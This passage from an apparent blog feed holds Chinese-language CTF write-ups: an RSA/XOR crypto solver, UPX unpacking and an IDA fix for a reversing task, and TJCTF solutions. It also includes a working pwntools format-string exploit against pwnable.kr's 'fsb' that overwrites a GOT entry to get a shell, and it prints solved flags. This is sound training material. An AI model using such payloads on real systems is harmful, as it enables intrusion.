class="line"></span><br><span class="line">    return pow(s2n(m),e,n)</span><br><span class="line"></span><br><span class="line">def burp_m(c):</span><br><span class="line">    </span><br><span class="line">    zidian = &quot;0123456789abcdef&quot;</span><br><span class="line"></span><br><span class="line">    for i in zidian:</span><br><span class="line">        for j in zidian:</span><br><span class="line">            for k in zidian:</span><br><span class="line">                for l in zidian:</span><br><span class="line">                    m1 = i+j+k+l</span><br><span class="line">                    if rsa_encrypt(m1) == c:</span><br><span class="line">                        return m1</span><br><span class="line">    return &apos;false&apos;</span><br><span class="line"></span><br><span class="line">def decode_layer4():</span><br><span class="line">    </span><br><span class="line">    cipher_layer4 = &quot;&quot;</span><br><span class="line">    for i,j in enumerate(cipher):</span><br><span class="line">        if cipher[i:i+4] == &quot;eH/V&quot;:</span><br><span class="line">            cipher_layer4 = cipher[i:]</span><br><span class="line">            break</span><br><span class="line">    #print cipher_layer4</span><br><span class="line">    cipher_layer4 = base64.b64decode(cipher_layer4)</span><br><span class="line">    print type(cipher_layer4),len(cipher_layer4)</span><br><span class="line">    </span><br><span class="line">    cipher4 = []</span><br><span class="line">    for i in range(41):</span><br><span class="line">        c = &apos;&apos;</span><br><span class="line">        for j in range(256):</span><br><span class="line">            c += cipher_layer4[i*256+j]</span><br><span class="line">        cipher4.append(c)</span><br><span class="line">    #print len(cipher4),cipher4</span><br><span class="line">    </span><br><span class="line">    cipher3 = &quot;&quot;</span><br><span class="line">    for i in range(1,41):</span><br><span class="line">        a = xor(cipher4[i-1],cipher4[i])</span><br><span class="line">        print &quot;Try &#123;&#125; -&gt; &#123;&#125;&quot;.format(i,a)</span><br><span class="line">        b = burp_m(a)</span><br><span class="line">        if b != &apos;false&apos;:</span><br><span class="line">            print b</span><br><span class="line">            cipher3 += b</span><br><span class="line">    print cipher3</span><br><span class="line"></span><br><span class="line">def layer3_and_layer2(text,key):</span><br><span class="line"></span><br><span class="line">    cipher_3= &quot;&quot;</span><br><span class="line">    for i in text:</span><br><span class="line">        key = (key * 0xc8763 + 9487)&amp;0xff</span><br><span class="line">        cipher_3 += chr(ord(i)^key)</span><br><span class="line"></span><br><span class="line">    cipher_2 = &quot;&quot;</span><br><span class="line">    key_layer2 = gmpy2.invert(17,251)</span><br><span class="line">    print &quot;key_layer2 -&gt; &#123;&#125;&quot;.format(key_layer2)</span><br><span class="line">    for i in cipher_3:</span><br><span class="line">        cipher_2 += chr( (ord(i)*192) % 251 )</span><br><span class="line">    return cipher_2 </span><br><span class="line"></span><br><span class="line">def decode_layer3_layer2(cipher3):</span><br><span class="line"></span><br><span class="line">    cipher1 = []</span><br><span class="line">    &apos;&apos;&apos;</span><br><span class="line">num = 0</span><br><span class="line">flag_str = &quot;&quot;</span><br><span class="line">print len(flag_counter)</span><br><span class="line">for i,j in flag_counter.items():</span><br><span class="line">num += j</span><br><span class="line">flag_str += i</span><br><span class="line">flag_str = &quot;&quot;.join((lambda x:(x.sort(),x)[1])(list(flag_str)))</span><br><span class="line"></span><br><span class="line">print &quot;flag_len -&gt; &#123;&#125;&quot;.format(num)</span><br><span class="line">&apos;&apos;&apos;</span><br><span class="line"></span><br><span class="line">    for i in range(256):</span><br><span class="line">        temp = layer3_and_layer2(cipher3,i)</span><br><span class="line">        cipher1.append(temp)</span><br><span class="line">    print cipher1</span><br><span class="line"></span><br><span class="line">if __name__ == &quot;__main__&quot;:</span><br><span class="line">    </span><br><span class="line">    print rsa_encrypt(&apos;1234&apos;)</span><br><span class="line">#decode_layer4()</span><br><span class="line">    print &quot;layer4 clear!&quot;</span><br><span class="line">    cipher3 = binascii.unhexlify(&quot;58cf2de2cf8e72d8c28b1925e6962d51a3630af38a84923462d397d60665995fa1313e4444890cba0e201a43fa9ee2877c115e64a4e9116362fd4c34c68fc50c6edca071d795ee295ece1d3fd46efd0d&quot;)</span><br><span class="line">    decode_layer3_layer2(cipher3)</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;Points: 150&lt;/p&gt;
&lt;p&gt;Solves: 6&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;一道多重加密的crypto，很好玩。&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Crypto" scheme="https://l1b0.fun/tags/Crypto/"/>
    
      <category term="hackme-inndy-tw" scheme="https://l1b0.fun/tags/hackme-inndy-tw/"/>
    
  </entry>
  
  <entry>
    <title>安恒杯-7月月赛-Reverse-Youngter-drive</title>
    <link href="https://l1b0.fun/13356/"/>
    <id>https://l1b0.fun/13356/</id>
    <published>2018-08-18T12:28:00.000Z</published>
    <updated>2019-12-05T07:51:45.518Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>我先吐槽一句，这题真是巨坑==</p></blockquote><h3 id="Step1-脱UPX"><a href="#Step1-脱UPX" class="headerlink" title="Step1: 脱UPX"></a>Step1: 脱UPX</h3><p>首先file一下，发现有upx壳，这是第一关。</p><p>二话不说<code>upx -d Youngter-drive.exe</code>脱掉。</p><p><img src="http://wx4.sinaimg.cn/mw690/0060lm7Tly1fubbwetbapj30s602mmxx.jpg" alt="img"></p><a id="more"></a><h3 id="Step2-修复F5"><a href="#Step2-修复F5" class="headerlink" title="Step2: 修复F5"></a>Step2: 修复F5</h3><p>然后拖进IDA看源码，主函数如下</p><p><img src="http://wx1.sinaimg.cn/mw690/0060lm7Tly1fubc0e29l3j30v90biq4n.jpg" alt="img"></p><p>然后这点一点那点一点发现<code>StartAddress</code>里有猫腻，跟进去发现关键函数<code>sub_411940</code>无法F5，提示<code>positive sp value has been found</code></p><p><img src="http://wx2.sinaimg.cn/mw690/0060lm7Tly1fubc47saiej30bf04rglo.jpg" alt="img"></p><p>出现这个报错的原因是堆栈不平衡，我们可以通过修改<code>sp value</code>使堆栈平衡。</p><blockquote><p>IDA中Options-&gt;General选中Stack pointer可以查看堆栈指针</p></blockquote><p>可以看到，就是因为<code>411A04</code>处堆栈指针为<code>-4</code>导致无法F5，<code>Alt+K</code>可以修改此处的<code>sp value</code></p><p><img src="http://wx1.sinaimg.cn/mw690/0060lm7Tly1fubch1qlyfj30tp07w3zt.jpg" alt="img"></p><p>修改之后如下图，此时堆栈平衡，可以F5。</p><p><img src="http://wx2.sinaimg.cn/mw690/0060lm7Tly1fubcj8el7mj30v507k3zp.jpg" alt="img"></p><p>然后就可以看到关键函数<code>sub_411940</code>的源码</p><p><img src="http://wx3.sinaimg.cn/mw690/0060lm7Tly1fubcl4n5kej30my0codh2.jpg" alt="img"></p><h3 id="Step3-逆向解密"><a href="#Step3-逆向解密" class="headerlink" title="Step3: 逆向解密"></a>Step3: 逆向解密</h3><p>这个函数相当于一个加密，逻辑很简单，先判断是否是<strong>字母</strong>，如果不是直接终止程序；之后判断如果是<strong>大写字母</strong>则进行替换，<strong>小写字母</strong>进行另一种替换。</p><p>加密完成之后和字符串off_418004进行明文比较，相等即正确。</p><p>看到这里我兴奋的一批，直接写脚本跑一发，结果发现交了贼多次都不对。。。</p><p>后来注意到main函数写了一个多线程(双线程)，然而自己也还不会写多线程，于是疯狂百度函数的作用，才有了上面第二张图主函数的简单注释。</p><p>仔细分析会注意到，线程hObject是进行加密，线程v1就是减个下标dword_418008。而dword_418008初始值为0x1d即29，这相当于如果dword_418008是奇数，进行加密，如果是偶数，密文和明文相同。</p><p>之后还有个坑，下标从29开始的话意味着输入长度有30，而在函数<code>sub_411880</code>进行check时只比较前29个字符，相等即正确。那么我们只需还原明文的前29位，加上一个任意字母即可。</p><h3 id="exp如下"><a href="#exp如下" class="headerlink" title="exp如下"></a>exp如下</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">__Auther__ = &apos;L1B0&apos;</span><br><span class="line"></span><br><span class="line">off_418000 = &quot;QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm\0&quot;</span><br><span class="line"></span><br><span class="line">off_418004 = &quot;TOiZiZtOrYaToUwPnToBsOaOapsyS&quot;</span><br><span class="line">print len(off_418004),len(off_418000)</span><br><span class="line"></span><br><span class="line">def decode(a):</span><br><span class="line"></span><br><span class="line">    flag = &quot;&quot;</span><br><span class="line"></span><br><span class="line">    for i in range(len(a)):</span><br><span class="line">        if i %2 == 0:</span><br><span class="line">            flag += a[i]</span><br><span class="line">            continue</span><br><span class="line">        for j,k in enumerate(off_418000):</span><br><span class="line">            if a[i] == k:</span><br><span class="line">                print i,j</span><br><span class="line">                if chr(j+38).isupper():</span><br><span class="line">                    flag += chr(j+38)</span><br><span class="line">                else:</span><br><span class="line">                    flag += chr(j+96)</span><br><span class="line">                break </span><br><span class="line">    </span><br><span class="line">    return flag</span><br><span class="line"></span><br><span class="line">def encode(flag):</span><br><span class="line">    </span><br><span class="line">    cipher = &quot;&quot;</span><br><span class="line">    for j,i in enumerate(flag):</span><br><span class="line">        if j %2 == 0:</span><br><span class="line">            cipher += i</span><br><span class="line">            continue</span><br><span class="line">        if ord(i) &lt; ord(&apos;a&apos;) or ord(i) &gt; ord(&apos;z&apos;):</span><br><span class="line">            cipher += off_418000[ord(i)-38]</span><br><span class="line">        else:</span><br><span class="line">            cipher += off_418000[ord(i)-96]</span><br><span class="line">    return cipher </span><br><span class="line"></span><br><span class="line">if __name__ == &quot;__main__&quot;:</span><br><span class="line">    flag = off_418004</span><br><span class="line">    flag = decode(flag)</span><br><span class="line">    print flag</span><br><span class="line">    cipher = encode(flag)</span><br><span class="line"></span><br><span class="line">    print cipher == off_418004</span><br></pre></td></tr></table></figure><blockquote><p>Flag: ThisisthreadofwindowshahaIsES加一个任意字母</p><p>如：ThisisthreadofwindowshahaIsESE</p></blockquote><h3 id="References"><a href="#References" class="headerlink" title="References"></a>References</h3><ul><li>Linux-Install-upx: <code>sudo apt-get install upx</code></li><li>ida-sp-value-error: <a href="https://stackoverflow.com/questions/10165511/ida-positive-sp-value-has-been-found-error" target="_blank" rel="noopener">https://stackoverflow.com/questions/10165511/ida-positive-sp-value-has-been-found-error</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;我先吐槽一句，这题真是巨坑==&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;Step1-脱UPX&quot;&gt;&lt;a href=&quot;#Step1-脱UPX&quot; class=&quot;headerlink&quot; title=&quot;Step1: 脱UPX&quot;&gt;&lt;/a&gt;Step1: 脱UPX&lt;/h3&gt;&lt;p&gt;首先file一下，发现有upx壳，这是第一关。&lt;/p&gt;
&lt;p&gt;二话不说&lt;code&gt;upx -d Youngter-drive.exe&lt;/code&gt;脱掉。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://wx4.sinaimg.cn/mw690/0060lm7Tly1fubbwetbapj30s602mmxx.jpg&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
      <category term="Upx" scheme="https://l1b0.fun/tags/Upx/"/>
    
      <category term="fix-f5" scheme="https://l1b0.fun/tags/fix-f5/"/>
    
  </entry>
  
  <entry>
    <title>Pwnable-Kr-Rookiss-fsb</title>
    <link href="https://l1b0.fun/30973/"/>
    <id>https://l1b0.fun/30973/</id>
    <published>2018-08-15T12:25:04.000Z</published>
    <updated>2019-09-23T03:13:36.365Z</updated>
    
    <content type="html"><![CDATA[<h4 id="题面"><a href="#题面" class="headerlink" title="题面"></a>题面</h4><blockquote><p>Isn’t FSB almost obsolete in computer security?<br>Anyway, have fun with it :)</p><p>ssh <a href="mailto:fsb@pwnable.kr" target="_blank" rel="noopener">fsb@pwnable.kr</a> -p2222 (pw:guest)</p><p>On Aug 15,2018</p></blockquote><a id="more"></a><h4 id="大致分析"><a href="#大致分析" class="headerlink" title="大致分析"></a>大致分析</h4><p>明显的格式化字符串漏洞类型的题目，由于buf不在栈上，我们需要借助栈上的其他数据如ebp来作为跳板。</p><p>类似的题目还有<a href="https://l1b0.github.io/2018/08/08/Format-String-Bug-Training/" target="_blank" rel="noopener">HITCON-Training-lab9</a></p><p>题目流程大致是经过四次<code>read</code>和<code>printf</code>的fsb利用后，check输入的pw和程序随机出来的key是否相等。</p><p>我一开始想的是把key的bss段地址放到栈上，然后通过任意地址读得到key，但后来发现程序生成的key太大了，而pw的输入限制长度为10，所以不可能通过正常流程拿到权限。</p><p>那后来就覆盖sleep的got表的真实地址为<code>execve(&#39;/bin/sh&#39;)</code>，过程正好用了四次fsb。</p><blockquote><ol><li>泄露栈的esp，方便后面定位栈上其他的地址</li><li>泄露main的ebp，由于main的ebp和栈上的偏移不固定，所以需要单独泄露一次</li><li>将main的ebp覆盖为sleep的got表地址</li><li>将sleep的got表地址覆盖为<code>execve(&#39;/bin/sh&#39;)</code></li></ol></blockquote><h4 id="exp如下"><a href="#exp如下" class="headerlink" title="exp如下"></a>exp如下</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">__Auther__ = &apos;L1B0&apos;</span><br><span class="line"></span><br><span class="line">from pwn import *</span><br><span class="line">from sys import *</span><br><span class="line">#context.log_level = &apos;debug&apos;</span><br><span class="line">context.terminal = [&apos;deepin-terminal&apos;, &apos;-x&apos;, &apos;sh&apos;, &apos;-c&apos; ]</span><br><span class="line"></span><br><span class="line">if argv[1] == &apos;l&apos;:</span><br><span class="line">    io = process(&apos;./fsb&apos;)</span><br><span class="line">else:</span><br><span class="line">    io = ssh(host=&apos;pwnable.kr&apos;,port=2222,user=&apos;fsb&apos;,password=&apos;guest&apos;).run(&apos;/home/fsb/fsb&apos;)</span><br><span class="line"></span><br><span class="line">def DEBUG():</span><br><span class="line"></span><br><span class="line">    gdb.attach(io,&quot;b *0x08048608\nc&quot;)</span><br><span class="line"></span><br><span class="line">def leak_esp():</span><br><span class="line"></span><br><span class="line">    payload = &quot;+%14$x+&quot;</span><br><span class="line">    io.sendline(payload)</span><br><span class="line">    io.recvuntil(&apos;+&apos;)</span><br><span class="line">    esp = int(io.recvuntil(&apos;+&apos;)[:-1],16)-0x50</span><br><span class="line"></span><br><span class="line">    return esp</span><br><span class="line"></span><br><span class="line">def leak_ebp_main():</span><br><span class="line"></span><br><span class="line">    payload = &quot;+%18$x+&quot;</span><br><span class="line">    io.sendline(payload)</span><br><span class="line">    io.recvuntil(&apos;+&apos;)</span><br><span class="line">    ebp_main = int(io.recvuntil(&apos;+&apos;)[:-1],16)</span><br><span class="line"></span><br><span class="line">    return ebp_main</span><br><span class="line"></span><br><span class="line">def ebp_main_to_got():</span><br><span class="line"></span><br><span class="line">    got_addr = 0x0804A008 </span><br><span class="line"></span><br><span class="line">    payload = &quot;%&#123;&#125;c%18$n&quot;.format(got_addr)</span><br><span class="line">    io.sendline(payload)</span><br><span class="line"></span><br><span class="line">def sleep_to_flag(offset):</span><br><span class="line"></span><br><span class="line">    flag_addr = 0x080486AB</span><br><span class="line">    payload = &quot;%&#123;&#125;c%&#123;&#125;$hn&quot;.format(flag_addr&amp;0xffff,offset)</span><br><span class="line">    io.sendline(payload)</span><br><span class="line"></span><br><span class="line">if __name__ == &apos;__main__&apos;:</span><br><span class="line"></span><br><span class="line">    esp = leak_esp()</span><br><span class="line">    print hex(esp)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line">    ebp_main = leak_ebp_main()</span><br><span class="line">    print hex(ebp_main)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line">    ebp_main_to_got()</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line">    offset = (ebp_main-esp)/4</span><br><span class="line">    sleep_to_flag(offset)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line">    io.interactive()</span><br></pre></td></tr></table></figure><h4 id="References"><a href="#References" class="headerlink" title="References:"></a>References:</h4><ul><li><a href="https://blog.csdn.net/SmalOSnail/article/details/53705774" target="_blank" rel="noopener">https://blog.csdn.net/SmalOSnail/article/details/53705774</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;h4 id=&quot;题面&quot;&gt;&lt;a href=&quot;#题面&quot; class=&quot;headerlink&quot; title=&quot;题面&quot;&gt;&lt;/a&gt;题面&lt;/h4&gt;&lt;blockquote&gt;
&lt;p&gt;Isn’t FSB almost obsolete in computer security?&lt;br&gt;Anyway, have fun with it :)&lt;/p&gt;
&lt;p&gt;ssh &lt;a href=&quot;mailto:fsb@pwnable.kr&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;fsb@pwnable.kr&lt;/a&gt; -p2222 (pw:guest)&lt;/p&gt;
&lt;p&gt;On Aug 15,2018&lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Format-String-Bug" scheme="https://l1b0.fun/tags/Format-String-Bug/"/>
    
  </entry>
  
  <entry>
    <title>TJCTF-2018-bin-Writeup</title>
    <link href="https://l1b0.fun/27164/"/>
    <id>https://l1b0.fun/27164/</id>
    <published>2018-08-13T12:23:43.000Z</published>
    <updated>2019-09-23T03:13:36.385Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>Unsolved: pwn-Online-Banking</p></blockquote><h2 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h2><h3 id="Validator-points-30"><a href="#Validator-points-30" class="headerlink" title="Validator(points: 30)"></a>Validator(points: 30)</h3><p>首先file看一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">▶ file flagcheck </span><br><span class="line">flagcheck: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=89bdc886ab26b531450aa6ecb741b66a060b7605, not stripped</span><br></pre></td></tr></table></figure><p>用ida看伪代码会发现是明文比较，如下图。</p><a id="more"></a><p><img src="http://wx1.sinaimg.cn/mw690/0060lm7Tly1fu5hhjumbhj30eb0eygml.jpg" alt="img"></p><p>但是把其中的一些字符给赋了其他的值，直接看看不出什么(其实也可以直接手动替换2333，根据s1,v5,v6,v7的相对偏移就可以进行替换)，于是尝试ida调试&amp;gdb调试。</p><h4 id="The-fisrt-way-IDA调试"><a href="#The-fisrt-way-IDA调试" class="headerlink" title="The fisrt way: IDA调试"></a>The fisrt way: IDA调试</h4><blockquote><p>关于如何在IDA中调试elf详见：<a href="https://blog.csdn.net/abc_670/article/details/80066817" target="_blank" rel="noopener">https://blog.csdn.net/abc_670/article/details/80066817</a></p></blockquote><p>首先在Debugger-&gt;Process options里设置argv参数，长度为43</p><p><img src="http://wx1.sinaimg.cn/mw690/0060lm7Tly1fu5jtfbvlyj30gj094dg6.jpg" alt="img"></p><p>在<code>if ( strlen(argv[1]) == 43 )</code>处下断点，开始调试</p><p>当替换完成后，由于s1处于ebp-0x38的位置，于是在ebp-0x38处<code>add watch</code>，其实下断点也不是最直接的方式，这里就提一下。</p><blockquote><p>下断点: Debugger-&gt;Watchs-&gt;add watch</p></blockquote><p>可以看到<code>ebp = 0xffb1c158</code>，那么s1在栈上地址为<code>ebp-0x38 = 0xffb1c120</code></p><p><img src="http://wx2.sinaimg.cn/mw690/0060lm7Tly1fu5k4xe3xxj30cd07w74i.jpg" alt="img"></p><p>在<code>stack view</code>的表里我们可以直接的看到ebp-0x38处的值，如下图</p><p><img src="http://wx3.sinaimg.cn/mw690/0060lm7Tly1fu5k6cb7fwj30cg07djrs.jpg" alt="img"></p><p>但是这样还不够直观，我们可以在<code>FFB1C120</code>处右键-&gt;Follow in hex dump</p><p>然后点View-&gt;Open subviews-&gt;Hex dump，即可看到<code>FFB1C120</code>对应的值的字符形式</p><p><img src="http://wx2.sinaimg.cn/mw690/0060lm7Tly1fu5k9ybi23j30f7077t9b.jpg" alt="img"></p><p>至此，flag到手:-)</p><h4 id="The-second-way-GDB调试"><a href="#The-second-way-GDB调试" class="headerlink" title="The second way: GDB调试"></a>The second way: GDB调试</h4><p>关键命令如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">gdb flagcheck</span><br><span class="line">start aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</span><br><span class="line">b *0x080485AB</span><br><span class="line">c</span><br><span class="line"></span><br><span class="line">pwndbg&gt; x/10 $ebp-0x38</span><br><span class="line">0xffffd3f0:&quot;tjctf&#123;ju57_c4ll&quot;...</span><br><span class="line">0xffffd3ff:&quot;_m3_35r3v3r_60d&quot;...</span><br><span class="line">0xffffd40e:&quot;_fr0m_n0w_0n&#125;&quot;</span><br><span class="line">0xffffd41c:&quot;&quot;</span><br><span class="line">0xffffd41d:&quot;\256\300\217\334\323\372\367@\324\377\377&quot;</span><br><span class="line">0xffffd429:&quot;&quot;</span><br><span class="line">0xffffd42a:&quot;&quot;</span><br><span class="line">0xffffd42b:&quot;&quot;</span><br><span class="line">0xffffd42c:&quot;v\&quot;\341\367\002&quot;</span><br><span class="line">0xffffd432:&quot;&quot;</span><br></pre></td></tr></table></figure><p>即可拿到flag:-)</p><blockquote><p>相对IDA的dynamic debugging，我用gdb更为顺手:-(</p><p>但ida的可视化确实很方便，并且还有很多功能待学习</p></blockquote><h3 id="Python-Reversing-points-40"><a href="#Python-Reversing-points-40" class="headerlink" title="Python-Reversing(points: 40)"></a>Python-Reversing(points: 40)</h3><p>先放源码</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">import numpy as np</span><br><span class="line"></span><br><span class="line">flag = &apos;redacted&apos;</span><br><span class="line"></span><br><span class="line">np.random.seed(12345)</span><br><span class="line">arr = np.array([ord(c) for c in flag])</span><br><span class="line">other = np.random.randint(1,5,(len(flag)))</span><br><span class="line">arr = np.multiply(arr,other)</span><br><span class="line"></span><br><span class="line">b = [x for x in arr]</span><br><span class="line">lmao = [ord(x) for x in &apos;&apos;.join([&apos;ligma_sugma_sugondese_&apos;*5])]</span><br><span class="line">c = [b[i]^lmao[i] for i,j in enumerate(b)]</span><br><span class="line">print(&apos;&apos;.join(bin(x)[2:].zfill(8) for x in c))</span><br><span class="line"></span><br><span class="line"># original_output was 1001100001011110110100001100001010000011110101001100100011101111110100011111010101010000000110000011101101110000101111101010111011100101000011011010110010100001100010001010101001100001110110100110011101</span><br></pre></td></tr></table></figure><p>大致的加密过程如下</p><blockquote><p>b = flag * other</p><p>c = b ^ lmao</p></blockquote><p>这里的other是一个由不大于4的数组成的随机数组，但随机数的种子给了，相当于other已知，而lmao也是已知的，直接逆就可以。</p><p>但是有一个问题，original_output这串二进制串长度为202，并不能被8整除，我当时就很疑惑，以为我下载的文件是错的。。。</p><p>后来想明白了，由于第一步加密中flag直接与other相乘，导致b数组的值可能大于255，超出8位二进制串能表示的最大值，于是在zfill的时候长度大于8，就像下面这样。</p><p>那么我们怎么判断是哪个位置的值大于255呢，这里可以通过当为8位二进制串时，和lmao异或之后模other是否为0，如果不为0，就再添加一位二进制数。</p><p>exp如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">__Auther__ = &apos;L1B0&apos;</span><br><span class="line"></span><br><span class="line">import numpy as np</span><br><span class="line"></span><br><span class="line">flag = &apos;abcdefghijklmnopqrstuvwxy&apos;</span><br><span class="line"></span><br><span class="line">np.random.seed(12345)</span><br><span class="line">#arr = np.array([ord(c) for c in flag])</span><br><span class="line">#print arr </span><br><span class="line">other = np.random.randint(1,5,25)</span><br><span class="line">print &quot;[+]other: &#123;&#125;&quot;.format(other)</span><br><span class="line">#arr = np.multiply(arr,other)</span><br><span class="line">#print arr</span><br><span class="line">#b = [x for x in arr]</span><br><span class="line"></span><br><span class="line">lmao = [ord(x) for x in &apos;&apos;.join([&apos;ligma_sugma_sugondese_&apos;*5])]</span><br><span class="line"></span><br><span class="line">#c = [b[i]^lmao[i] for i,j in enumerate(b)]</span><br><span class="line"></span><br><span class="line">#print(&apos;&apos;.join(bin(x)[2:].zfill(8) for x in c))</span><br><span class="line"></span><br><span class="line">output = &apos;1001100001011110110100001100001010000011110101001100100011101111110100011111010101010000000110000011101101110000101111101010111011100101000011011010110010100001100010001010101001100001110110100110011101&apos;</span><br><span class="line">#output1 = [304, 189, 161, 133, 7, 169,291]</span><br><span class="line"></span><br><span class="line">s = &apos;&apos;</span><br><span class="line">output1 = []</span><br><span class="line">sum,num = 0,0</span><br><span class="line">v = 0</span><br><span class="line">flag = 0</span><br><span class="line"></span><br><span class="line">for i,j in enumerate(output):</span><br><span class="line"></span><br><span class="line">    if sum%8 == 0 and flag == 1:</span><br><span class="line">        </span><br><span class="line">        v  = 